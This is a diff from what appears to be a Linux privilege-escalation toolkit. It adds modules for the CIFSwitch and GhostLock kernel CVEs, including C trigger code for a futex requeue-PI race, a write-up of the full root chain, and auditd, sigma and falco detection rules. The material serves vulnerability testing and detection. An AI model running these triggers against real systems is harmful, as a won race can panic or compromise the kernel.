fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
} else if (errno != ENOENT) {
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
CIFSWITCH_BLOCKLIST, strerror(errno));
}
return SKELETONKEY_OK;
}
#else /* !__linux__ */
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
* Linux-only. Stub so the module still registers and `make` completes on
* macOS/BSD dev boxes. */
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
{
if (!ctx->json)
fprintf(stderr, "[i] cifswitch: Linux-only module "
"(cifs.spnego keyring trust) — not applicable here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_PRECOND_FAIL;
}
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
{
(void)ctx;
return SKELETONKEY_OK;
}
#endif /* __linux__ */
/* Embedded detection rules — keep the binary self-contained. The
* behavioural signal is a non-root process creating a `cifs.spnego` key
* (add_key/request_key) and/or an unexpected cifs.upcall execution
* paired with user-namespace setup. */
static const char cifswitch_auditd[] =
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
"# cifs.upcall execution that loads an attacker NSS module.\n"
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
static const char cifswitch_sigma[] =
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
"id: 9b2e7c10-skeletonkey-cifswitch\n"
"status: experimental\n"
"description: |\n"
" Detects a non-root process creating a cifs.spnego key via\n"
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
" load an attacker NSS module as root. False positives: legitimate\n"
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
" context (root), not from an unprivileged add_key.\n"
"logsource: {product: linux, service: auditd}\n"
"detection:\n"
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
" non_root: {auid|expression: '>= 1000'}\n"
" condition: keyop and non_root\n"
"level: high\n"
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
static const char cifswitch_falco[] =
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
" desc: |\n"
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
" CIFSwitch LPE forges authority fields in the key description that\n"
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
" as root. False positives: container/CIFS tooling run as root.\n"
" condition: >\n"
" ((evt.type in (add_key, request_key)) or\n"
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
" output: >\n"
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
" priority: HIGH\n"
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
const struct skeletonkey_module cifswitch_module = {
.name = "cifswitch",
.cve = "CVE-2026-46243",
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
.family = "cifswitch",
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
.detect = cifswitch_detect,
.exploit = cifswitch_exploit,
.mitigate = cifswitch_mitigate,
.cleanup = cifswitch_cleanup,
.detect_auditd = cifswitch_auditd,
.detect_sigma = cifswitch_sigma,
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
.detect_falco = cifswitch_falco,
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
.arch_support = "any",
};
void skeletonkey_register_cifswitch(void)
{
skeletonkey_register(&cifswitch_module);
}
@@ -0,0 +1,12 @@
/*
* cifswitch_cve_2026_46243 SKELETONKEY module registry hook
*/
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
#define CIFSWITCH_SKELETONKEY_MODULES_H
#include "../../core/module.h"
extern const struct skeletonkey_module cifswitch_module;
#endif
@@ -69,9 +69,9 @@
static const struct kernel_patched_from cls_route4_patched_branches[] = { static const struct kernel_patched_from cls_route4_patched_branches[] = {
{5, 4, 213}, {5, 4, 213},
{5, 10, 143}, {5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
{5, 15, 69}, {5, 15, 69},
{5, 18, 18}, {5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
{5, 19, 7}, {5, 19, 7},
{5, 20, 0}, /* mainline */ {5, 20, 0}, /* mainline */
}; };
@@ -72,7 +72,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
{3, 16, 38}, {3, 16, 38},
{3, 18, 43}, {3, 18, 43},
{4, 4, 26}, /* Ubuntu 16.04 baseline */ {4, 4, 26}, /* Ubuntu 16.04 baseline */
{4, 7, 10}, {4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
{4, 8, 3}, {4, 8, 3},
{4, 9, 0}, /* mainline fix */ {4, 9, 0}, /* mainline fix */
}; };
@@ -204,7 +204,7 @@ static void revert_passwd_page_cache(void)
* - mainline ( 5.17) is patched * - mainline ( 5.17) is patched
*/ */
static const struct kernel_patched_from dirty_pipe_patched_branches[] = { static const struct kernel_patched_from dirty_pipe_patched_branches[] = {
{5, 10, 102}, /* 5.10.x backport */ {5, 10, 92}, /* 5.10.x backport (Debian tracker: earlier than 5.10.102) */
{5, 15, 25}, /* 5.15.x backport */ {5, 15, 25}, /* 5.15.x backport */
{5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */ {5, 16, 11}, /* 5.16.x backport (mainline fix lived here briefly) */
{5, 17, 0}, /* mainline fix lands; everything from here is fine */ {5, 17, 0}, /* mainline fix lands; everything from here is fine */
@@ -916,12 +916,13 @@ static int fg_active_probe(void)
* 7.1-rcN: still vulnerable (rc1..rc4 at time of writing) * 7.1-rcN: still vulnerable (rc1..rc4 at time of writing)
*/ */
static const struct kernel_patched_from fragnesia_patched_branches[] = { static const struct kernel_patched_from fragnesia_patched_branches[] = {
{5, 10, 257}, /* 5.10-LTS backport (Debian bullseye ships .257 with fix) */
{5, 15, 208}, /* 5.15-LTS backport */ {5, 15, 208}, /* 5.15-LTS backport */
{6, 1, 174}, /* 6.1-LTS backport */ {6, 1, 174}, /* 6.1-LTS backport */
{6, 6, 141}, /* 6.6-LTS backport */ {6, 6, 141}, /* 6.6-LTS backport */
{6, 12, 91}, /* 6.12-LTS backport */ {6, 12, 90}, /* 6.12-LTS backport (Debian trixie ships .90 with fix) */
{6, 18, 33}, /* 6.18-LTS backport */ {6, 18, 33}, /* 6.18-LTS backport */
{7, 0, 10}, /* 7.0 stable: fix lands at 7.0.10 */ {7, 0, 9}, /* 7.0 stable (Debian forky/sid ship .9 with backported fix) */
}; };
static const struct kernel_range fragnesia_range = { static const struct kernel_range fragnesia_range = {
.patched_from = fragnesia_patched_branches, .patched_from = fragnesia_patched_branches,
+123
View File
@@ -0,0 +1,123 @@
# ghostlock — CVE-2026-43499
"GhostLock" — a race-condition use-after-free on **kernel stack** memory in
the Linux rtmutex / futex requeue-PI code path (`kernel/locking/rtmutex.c`),
reachable by **any unprivileged local user** (CVSS PR:L). No user namespace,
no capability, no special `CONFIG` beyond `CONFIG_FUTEX_PI` (universally
enabled). It has existed since PI-futex requeue landed — **~15 years, across
every distribution** — which is what makes it remarkable.
## The bug
On the deadlock-rollback path, `remove_waiter()` operates on `current`
instead of the actual waiter task while unwinding a proxy lock in
`rt_mutex_start_proxy_lock()` — reached from `futex_requeue()`. If a
concurrent PI-chain priority walk (driven from another CPU via
`sched_setattr()`) runs at that instant, `pi_blocked_on` is cleared on the
**wrong** task and an on-stack `struct rt_mutex_waiter` is left dangling in a
task's waiter / pi tree. When the kernel later rotates that rbtree over the
(now-reused) stack frame, the forged node fields become a controlled kernel
write → use-after-free.
The public research + PoC ("IonStack part II: GhostLock", VEGA / Nebula
Security) builds the requeue-PI cycle so `FUTEX_CMP_REQUEUE_PI` hits
`-EDEADLK` (the rollback) while a sibling-core consumer thread hammers
`sched_setattr(SCHED_BATCH)` on the waiter's tid to win the race. A separate
full Android/Pixel LPE then forges the on-stack `rt_mutex_waiter` on a leaked
kernel page (the "KernelSnitch" futex-bucket timing side channel), overwrites
a `struct file` `f_op` → configfs/ashmem arbitrary R/W → pipe physical R/W →
cred patch → root. ~**97% stable** on kernelCTF; Google awarded **$92,337**.
## Affected range
| | |
|---|---|
| Introduced | PI-futex requeue — **2.6.39** (commit `8161239a8bcc`) |
| Fixed upstream | commit `3bfdc63936dd` ("rtmutex: Use waiter::task instead of current in remove_waiter()") — merged **7.1-rc1** |
| Stable backports | **7.0.4** · 6.18.27 · **6.12.86** (LTS) · **6.6.140** (LTS) · **6.1.175** (LTS) |
| Affected, no upstream fix | **5.15.x / 5.10.x / 5.4.x / 4.19.x** (kernel CNA lists no stable fix) |
| Not affected | < 2.6.39 (predates PI-futex requeue) |
| NVD class | CWE-416 (Use After Free) via CWE-362 (race); CVSS 7.8, PR:L |
| CISA KEV | no (brand new) |
The `kernel_range` table carries one entry per backported branch;
`kernel_range_is_patched()` marks any branch strictly newer than all of them
(7.1+) patched-via-mainline and everything below the on-branch threshold
vulnerable — including the 5.x LTS lines that have no published fix. Extend
the table as more branches backport (the drift checker flags them). Source:
the Linux kernel CNA record (`git.kernel.org/stable/c/<hash>`), corroborated
by the Debian / Ubuntu / SUSE trackers.
## Trigger / detection
`detect()` is a **pure version gate** — no active probe, because there is no
cheap, safe way to distinguish vulnerable from patched without winning the
race. It returns `OK` below 2.6.39 or on a patched kernel, and `VULNERABLE`
in range. `CONFIG_FUTEX_PI` is a (near-universal) precondition detect()
**assumes** rather than probes; there is no userns / capability precondition
(any local user — CVSS PR:L).
`exploit()` forks an isolated child and runs two phases:
- **(A) deterministic + safe** — builds the requeue-PI cycle (a waiter
holding a "chain" PI-futex and parked in `FUTEX_WAIT_REQUEUE_PI`; an owner
holding the "target" PI-futex and blocked on the chain) and fires
`FUTEX_CMP_REQUEUE_PI`, confirming the kernel returns **-EDEADLK**. That
proves the `remove_waiter()` rollback path — where the bug lives — is
reachable here. Without a concurrent priority walk the rollback is the
kernel's normal, correct deadlock rejection: it creates no dangling
pointer, so this phase is safe on any kernel. *(Validated on real hardware:
the cycle returns `-EDEADLK` deterministically.)*
- **(B) hard-bounded window exercise** — repeats (A) a small, wall-clock-
capped number of times (24 iterations / 2 s) with a sibling-CPU
`sched_setattr(SCHED_BATCH)` storm on the waiter's tid, overlapping the
priority walk with the rollback (the actual race). Then it stops.
It is **deliberately under-driven**. A *won* race corrupts the kernel
**stack** and drives a near-arbitrary pointer write — near-certain panic on a
vulnerable host. So this module does **not** widen the `copy_from_user`
window (no memfd / `PUNCH_HOLE`), does **not** spray or reoccupy the freed
stack frame, and does **not** bundle the KernelSnitch leak → forged-waiter →
fops/configfs/ashmem/pipe R/W → cred-patch chain (Android/Pixel-specific,
per-build offsets). The trigger is **reconstructed from the public PoC and is
not VM-verified**. It returns `EXPLOIT_FAIL` and never claims root it did not
get.
Because a kernel race that corrupts the stack is the least predictable class
in the corpus, `ghostlock` carries the **lowest `--auto` safety rank** (11 —
just below `bad_epoll`), so `--auto` only reaches for it after every safer
vulnerable module.
## Detection — better than most kernel races, but read this
Unlike `bad_epoll` (whose epoll syscalls are indistinguishable from every
event loop), GhostLock has a **genuinely distinctive tell**: a futex
requeue-PI op (`FUTEX_WAIT_REQUEUE_PI` / `FUTEX_CMP_REQUEUE_PI`) returning
`-EDEADLK`, which glibc's requeue-PI usage inside `pthread_cond_wait` never
provokes, interleaved with `sched_setattr(SCHED_BATCH)` on a **sibling
thread** and `sched_setaffinity` CPU pinning. The catch: auditd/sigma see the
`futex` syscall but not its op-vs-return cheaply, and a bare `-S futex` watch
would flood any host. So:
- **auditd / sigma** anchor on the far rarer `sched_setattr` /
`sched_setaffinity` drivers plus the post-exploitation euid-0 transition.
- **falco / eBPF** carries the high-fidelity rule (futex requeue-PI returns
`EDEADLK` + sibling `sched_setattr`) — it can see the op and the return
value.
There is no yara rule (in-kernel race, no file artifact). Tune the
`sched_setattr` anchor per environment — real-time and scheduler-tuning
daemons will false-positive.
## Fix / mitigation
Upgrade the kernel (>= 7.0.4 / 6.12.86 / 6.6.140 / 6.1.175 on-branch, or
7.1+). There is **no partial mitigation**: PI futexes cannot be disabled at
runtime, and no `unprivileged_userns_clone` / sysctl toggle closes this path.
`mitigate()` is `NULL` for that reason.
## Credit
Discovery, research, and the public PoC: **VEGA / Nebula Security**
(`@nebusecurity`, nebusec.ai). Upstream fix `3bfdc63936dd` (Keenan Dong /
Thomas Gleixner). See `NOTICE.md`.
@@ -0,0 +1,76 @@
# NOTICE — ghostlock (CVE-2026-43499)
## Vulnerability
**CVE-2026-43499** — "GhostLock", a **race-condition use-after-free** on
kernel **stack** memory in the Linux rtmutex / futex requeue-PI path
(`kernel/locking/rtmutex.c`). On the deadlock-rollback path,
`remove_waiter()` operates on `current` instead of the actual waiter task
while unwinding a proxy lock in `rt_mutex_start_proxy_lock()` (reached from
`futex_requeue()`); a concurrent PI-chain priority walk driven via
`sched_setattr()` on another CPU clears `pi_blocked_on` on the wrong task and
leaves an on-stack `struct rt_mutex_waiter` dangling → UAF when the kernel
later rotates the rbtree over the reused stack frame.
The bug is reachable by **any unprivileged local user** (CVSS 7.8, PR:L) —
`futex(2)` + `sched_setattr(2)`, no capability, no user namespace, no special
config beyond `CONFIG_FUTEX_PI` (universally enabled). It has existed since
PI-futex requeue landed in **2.6.39** — ~15 years across every distribution.
NVD class: **CWE-416** (Use After Free), with a **CWE-362** race root cause.
**Not** in CISA KEV (brand new).
## Research credit
- **Discovery, research, and public PoC** by **VEGA / Nebula Security**
(`@nebusecurity`, <https://nebusec.ai>), published as "IonStack part II:
GhostLock" (<https://nebusec.ai/research/ionstack-part-2/>). Exploit code:
<https://github.com/NebuSec/CyberMeowfia> (`IonStack/CVE-2026-43499`,
Apache-2.0). Awarded **$92,337** in Google's kernelCTF for a ~97%-stable
privilege escalation / container escape. SKELETONKEY's trigger
reconstruction is informed by the public PoC's requeue-PI cycle shape only
— no KernelSnitch offsets, forged-waiter field layout, or ROP / cred-patch
arithmetic is reused.
- **Introduced** with PI-futex requeue in **2.6.39** (commit
`8161239a8bcc`).
- **Fixed upstream** by commit
`3bfdc63936dd4773109b7b8c280c0f3b5ae7d349` ("rtmutex: Use waiter::task
instead of current in remove_waiter()", Keenan Dong / Thomas Gleixner),
merged for **7.1-rc1**; stable backports **7.0.4 / 6.18.27 / 6.12.86 /
6.6.140 / 6.1.175**.
- Authoritative backport versions: the Linux kernel CNA record
(<https://cveawg.mitre.org/api/cve/CVE-2026-43499>,
`git.kernel.org/stable/c/<hash>`), corroborated by the Debian
(<https://security-tracker.debian.org/tracker/CVE-2026-43499>), Ubuntu, and
SUSE trackers. The **5.15 / 5.10 / 5.4 / 4.19** LTS branches are affected
with no upstream stable fix published at time of writing.
All credit for finding, analysing, and exploiting this bug belongs to VEGA /
Nebula Security and to the upstream maintainers who fixed it. SKELETONKEY is
the bundling and bookkeeping layer only.
## SKELETONKEY role
🟡 **Trigger (reconstructed) — reachability-only, not VM-verified.** This is
the corpus's first rtmutex / futex-PI module and its cleanest example of a
kernel-**stack** UAF (every other UAF in the corpus is heap/slab). Shipped on
the same "fire the bug class and stop" contract as `stackrot`
(CVE-2023-3269), `nft_catchall` (CVE-2026-23111), and `bad_epoll`
(CVE-2026-46242).
`detect()` is a pure kernel-version gate (vulnerable iff `>= 2.6.39` and below
the on-branch fix; backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175,
7.1+ inherits mainline; 5.15/5.10/5.4/4.19 affected with no upstream fix) — no
userns or CONFIG probe (`CONFIG_FUTEX_PI` assumed, near-universal).
`exploit()` forks an isolated child that confirms the `-EDEADLK`
`remove_waiter()` rollback path is reachable (deterministic, safe) and then
exercises the actual race a hard-bounded 24 iterations / 2 s with a
sibling-CPU `sched_setattr(SCHED_BATCH)` storm, and stops.
It is **deliberately under-driven**: a won race corrupts the kernel stack and
drives a near-arbitrary pointer write (near-certain panic), so the module does
not widen the `copy_from_user` window, does not spray/reoccupy the freed
frame, and does not bundle the KernelSnitch leak → forged on-stack
`rt_mutex_waiter` → fops/configfs/ashmem/pipe R/W → cred-patch root-pop
(Android/Pixel-specific, per-build offsets). The trigger is reconstructed from
the public PoC, not VM-verified — it never claims root it did not get. It
carries the lowest `--auto` safety rank in the corpus.
@@ -0,0 +1,567 @@
/*
* ghostlock_cve_2026_43499 SKELETONKEY module
*
* CVE-2026-43499 "GhostLock", a race-condition use-after-free on kernel
* STACK memory in the Linux rtmutex / futex requeue-PI code path
* (kernel/locking/rtmutex.c). On the deadlock-rollback path,
* remove_waiter() operates on `current` instead of the actual waiter task
* while unwinding a proxy lock in rt_mutex_start_proxy_lock() reached
* from futex_requeue(). If a concurrent PI-chain priority walk (driven
* from another CPU via sched_setattr()) runs at that instant,
* `pi_blocked_on` is cleared on the WRONG task and an on-stack
* `struct rt_mutex_waiter` is left dangling in a task's waiter / pi tree.
* When the kernel later rotates that rbtree over the (now-reused) stack
* frame, the forged node fields become a controlled kernel write UAF.
* Reachable by ANY unprivileged local user (CVSS PR:L): plain futex(2) +
* sched_setattr(2), no user namespace, no capability, no special CONFIG
* beyond CONFIG_FUTEX_PI (universally enabled). The bug has existed since
* PI-futex requeue landed ~15 years, across every distribution.
*
* Public research + PoC "IonStack part II: GhostLock" by VEGA / Nebula
* Security (https://nebusec.ai/research/ionstack-part-2/; code at
* https://github.com/NebuSec/CyberMeowfia, Apache-2.0). A portable crash
* PoC drives the -EDEADLK rollback while a sibling-core consumer thread
* fires sched_setattr(SCHED_BATCH) to win the race; a separate full
* Android/Pixel LPE then forges the on-stack rt_mutex_waiter on a leaked
* kernel page (the "KernelSnitch" futex-bucket timing side channel),
* overwrites a struct file f_op configfs/ashmem arbitrary R/W pipe
* physical R/W cred patch root. ~97% stable on kernelCTF; Google
* awarded $92,337.
*
* CWE-416 (Use After Free) via CWE-362 (race). CVSS 7.8 (PR:L). Introduced
* ~2.6.39 (PI-futex requeue); fixed by commit 3bfdc63936dd ("rtmutex: Use
* waiter::task instead of current in remove_waiter()") merged for 7.1-rc1;
* stable backports 7.0.4 / 6.18.27 / 6.12.86 / 6.6.140 / 6.1.175. The
* 5.15 / 5.10 / 5.4 / 4.19 LTS branches are AFFECTED with no upstream
* stable fix published at time of writing. NOT in CISA KEV (brand new).
*
* STATUS: 🟡 TRIGGER (reconstructed) reachability-only, NOT VM-verified.
* exploit() forks an isolated child that, in two phases:
* (A) DETERMINISTIC + SAFE builds the requeue-PI cycle (a waiter
* holding a "chain" PI-futex and parked in FUTEX_WAIT_REQUEUE_PI;
* an owner holding the "target" PI-futex and blocked on the chain)
* and fires FUTEX_CMP_REQUEUE_PI, confirming the kernel returns
* -EDEADLK. That -EDEADLK proves the remove_waiter() deadlock-
* rollback path (where the bug lives) is REACHABLE on this host.
* With no concurrent priority walk, the rollback is the kernel's
* normal, correct deadlock rejection it creates no dangling
* pointer, so this phase is safe on any kernel.
* (B) HARD-BOUNDED window exercise repeats (A) a small, wall-clock-
* capped number of times with a sibling-core consumer thread
* hammering sched_setattr(SCHED_BATCH) on the waiter's tid, so the
* PI-chain priority walk overlaps the rollback (the actual race).
* Then it STOPS. It deliberately OMITS the memfd/PUNCH_HOLE
* copy_from_user widening and the kernel-stack spray that make a
* win likely, does NOT reoccupy the freed frame, and does NOT
* bundle the KernelSnitch leak forged-waiter fops/configfs/
* ashmem/pipe R/W cred-patch chain (Android/Pixel-specific,
* per-build offsets). It returns EXPLOIT_FAIL and never claims
* root it did not get.
* A *won* race here corrupts the kernel STACK and drives a near-arbitrary
* pointer write near-certain panic on a vulnerable host which is why
* this carries the lowest --auto safety rank in the corpus (see
* module_safety_rank() in skeletonkey.c).
*
* detect() is a pure version gate: vulnerable iff the running kernel is
* >= 2.6.39 (when PI-futex requeue arrived) AND below the fix on its
* branch. CONFIG_FUTEX_PI is a (near-universal) precondition that
* detect() ASSUMES rather than probes no distro tracker publishes a
* CONFIG gate and /proc/config.gz is often absent; there is likewise no
* userns / capability precondition (CVSS PR:L, any local user).
*
* arch_support: any the bug and this reachability probe are arch-neutral
* (futex / sched_setattr / pthreads); only the public *weaponization* is
* arm64/Android-specific, and none of it is bundled here.
*/
#include "skeletonkey_modules.h"
#include "../../core/registry.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#ifdef __linux__
#include "../../core/kernel_range.h"
#include "../../core/host.h"
#include <stdint.h>
#include <stdatomic.h>
#include <errno.h>
#include <time.h>
#include <sched.h>
#include <pthread.h>
#include <sys/wait.h>
#include <sys/syscall.h>
/* futex operation constants — define defensively; <linux/futex.h> is not
* always present and can clash with libc headers. */
#ifndef FUTEX_LOCK_PI
#define FUTEX_LOCK_PI 6
#endif
#ifndef FUTEX_UNLOCK_PI
#define FUTEX_UNLOCK_PI 7
#endif
#ifndef FUTEX_WAIT_REQUEUE_PI
#define FUTEX_WAIT_REQUEUE_PI 11
#endif
#ifndef FUTEX_CMP_REQUEUE_PI
#define FUTEX_CMP_REQUEUE_PI 12
#endif
#ifndef FUTEX_CLOCK_REALTIME
#define FUTEX_CLOCK_REALTIME 256
#endif
#ifndef SCHED_BATCH
#define SCHED_BATCH 3
#endif
/* ------------------------------------------------------------------
* Kernel-range table. Mainline fix landed in 7.1-rc1 (3bfdc63936dd);
* stable backports shipped per LTS branch below. A branch with an exact
* entry is patched iff host.patch >= entry.patch; any branch strictly
* newer than EVERY entry (i.e. 7.1+) is patched-via-mainline; every other
* branch (5.4/5.10/5.15 affected, no upstream fix and the EOL lines
* 6.2..6.5 / 6.7..6.11 / 6.13..6.17 / 6.19 / 7.0.<4) is still vulnerable.
* kernel_range_is_patched() implements exactly that. Extend the table as
* more branches publish backports (the drift checker flags them).
* Authoritative source: the Linux kernel CNA record (git.kernel.org
* /stable/c/<hash>), corroborated by Debian/Ubuntu/SUSE trackers.
* ------------------------------------------------------------------ */
static const struct kernel_patched_from ghostlock_patched_branches[] = {
{6, 1, 175}, /* 6.1 LTS — d8cce4773c2b */
{6, 6, 140}, /* 6.6 LTS — 8a1fc8d698ac */
{6, 12, 86}, /* 6.12 LTS — 6d52dfcb2a5d */
{6, 18, 27}, /* 6.18 — 3fb7394a8377 */
{7, 0, 4}, /* 7.0 — 88614876370a; 7.1+ inherits the mainline fix */
};
static const struct kernel_range ghostlock_range = {
.patched_from = ghostlock_patched_branches,
.n_patched_from = sizeof(ghostlock_patched_branches) /
sizeof(ghostlock_patched_branches[0]),
};
static skeletonkey_result_t ghostlock_detect(const struct skeletonkey_ctx *ctx)
{
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
if (!v || v->major == 0) {
if (!ctx->json)
fprintf(stderr, "[!] ghostlock: host fingerprint missing kernel "
"version — bailing\n");
return SKELETONKEY_TEST_ERROR;
}
/* PI-futex requeue (and thus the vulnerable rt_mutex_start_proxy_lock
* / remove_waiter rollback) arrived in 2.6.39; older kernels predate
* the code entirely. (In practice nothing modern is below this, but
* the gate is here for correctness.) */
if (!skeletonkey_host_kernel_at_least(ctx->host, 2, 6, 39)) {
if (!ctx->json)
fprintf(stderr, "[i] ghostlock: kernel %s predates PI-futex requeue "
"(introduced 2.6.39) — not affected\n", v->release);
return SKELETONKEY_OK;
}
if (kernel_range_is_patched(&ghostlock_range, v)) {
if (!ctx->json)
fprintf(stderr, "[+] ghostlock: kernel %s is patched (>= 7.0.4 / "
"6.12.86 / 6.6.140 / 6.1.175 on-branch, or 7.1+ "
"mainline)\n", v->release);
return SKELETONKEY_OK;
}
if (!ctx->json) {
fprintf(stderr, "[!] ghostlock: VULNERABLE — kernel %s below the fix on "
"its branch; rtmutex/futex requeue-PI remove_waiter() "
"stack UAF reachable by any unprivileged user (no userns "
"/ capability; assumes CONFIG_FUTEX_PI, near-universal)\n",
v->release);
fprintf(stderr, "[i] ghostlock: no unprivileged-userns or sysctl stopgap "
"applies (PI futexes cannot be disabled at runtime) — the "
"only fix is to patch the kernel\n");
}
return SKELETONKEY_VULNERABLE;
}
/* ------------------------------------------------------------------
* Reconstructed reachability trigger (deliberately under-driven).
*
* Faithful minimal shape of the public PoC's requeue-PI cycle:
* waiter : LOCK_PI(chain); WAIT_REQUEUE_PI(wait -> target) [parks]
* owner : LOCK_PI(target); LOCK_PI(chain) [blocks]
* main : CMP_REQUEUE_PI(wait -> target) => -EDEADLK
* The requeue would make the waiter block on `target` (held by owner),
* owner is blocked on `chain` (held by waiter) cycle rt_mutex
* deadlock detection returns -EDEADLK and runs remove_waiter() rollback.
*
* Phase A (no consumer) confirms that rollback path is REACHABLE safe,
* because without a concurrent PI priority walk the unwind is the normal
* correct deadlock rejection and leaves nothing dangling. Phase B adds a
* sibling-core sched_setattr(SCHED_BATCH) storm on the waiter's tid to
* overlap the walk with the rollback (the actual race), hard-bounded,
* then stops. We do NOT widen the copy_from_user window (no memfd /
* PUNCH_HOLE), do NOT spray/reoccupy the freed stack frame, and do NOT
* weaponise. The honest witness is coarse: the -EDEADLK reachability
* proof, plus a fault signal in the isolated child if a Phase-B race
* happened to fire. Absence of a fault does NOT prove the host is safe.
* ------------------------------------------------------------------ */
#define GHL_PROBE_ROUNDS 8 /* deterministic -EDEADLK confirmations (early-exit on first) */
#define GHL_RACE_ITERS 24 /* hard-bounded race-window exercise (concurrent sched_setattr) */
#define GHL_RACE_BUDGET_SECS 2 /* honest short cap (public PoC grinds for minutes) */
#define GHL_PARK_TIMEOUT_MS 60 /* parked waiter/owner self-unblock so no attempt hangs */
struct ghl_sched_attr {
uint32_t size;
uint32_t sched_policy;
uint64_t sched_flags;
int32_t sched_nice;
uint32_t sched_priority;
uint64_t sched_runtime;
uint64_t sched_deadline;
uint64_t sched_period;
};
struct ghl_attempt {
volatile uint32_t chain; /* PI futex the waiter holds */
volatile uint32_t target; /* PI futex the owner holds; requeue destination */
volatile uint32_t wait; /* plain futex the waiter parks on */
atomic_int waiter_ready; /* waiter holds chain + published tid */
atomic_int owner_ready; /* owner holds target + about to block on chain */
atomic_int waiter_tid; /* consumer targets this tid */
atomic_int stop; /* tear-down flag for the consumer */
};
static long ghl_futex(volatile uint32_t *uaddr, int op, uint32_t val,
void *timeout_or_val2, volatile uint32_t *uaddr2,
uint32_t val3)
{
return syscall(SYS_futex, uaddr, op, val, timeout_or_val2, uaddr2, val3);
}
static int ghl_gettid(void)
{
return (int)syscall(SYS_gettid);
}
static void ghl_pin_cpu(int cpu)
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
(void)sched_setaffinity(0, sizeof set, &set); /* best-effort */
}
static void ghl_abs_realtime_ms(struct timespec *ts, long ms)
{
clock_gettime(CLOCK_REALTIME, ts);
ts->tv_sec += ms / 1000;
ts->tv_nsec += (ms % 1000) * 1000000L;
if (ts->tv_nsec >= 1000000000L) { ts->tv_sec++; ts->tv_nsec -= 1000000000L; }
}
static void *ghl_waiter_fn(void *arg)
{
struct ghl_attempt *a = (struct ghl_attempt *)arg;
ghl_pin_cpu(0);
/* Acquire the chain PI-futex (uncontended → success, sets it to our tid). */
(void)ghl_futex(&a->chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
atomic_store_explicit(&a->waiter_tid, ghl_gettid(), memory_order_release);
atomic_store_explicit(&a->waiter_ready, 1, memory_order_release);
/* Park, pre-queued to be requeued onto `target`. Short absolute timeout
* so we self-unblock even if the requeue is refused (-EDEADLK). */
struct timespec ts;
ghl_abs_realtime_ms(&ts, GHL_PARK_TIMEOUT_MS);
(void)ghl_futex(&a->wait, FUTEX_WAIT_REQUEUE_PI | FUTEX_CLOCK_REALTIME, 0,
&ts, &a->target, 0);
(void)ghl_futex(&a->chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
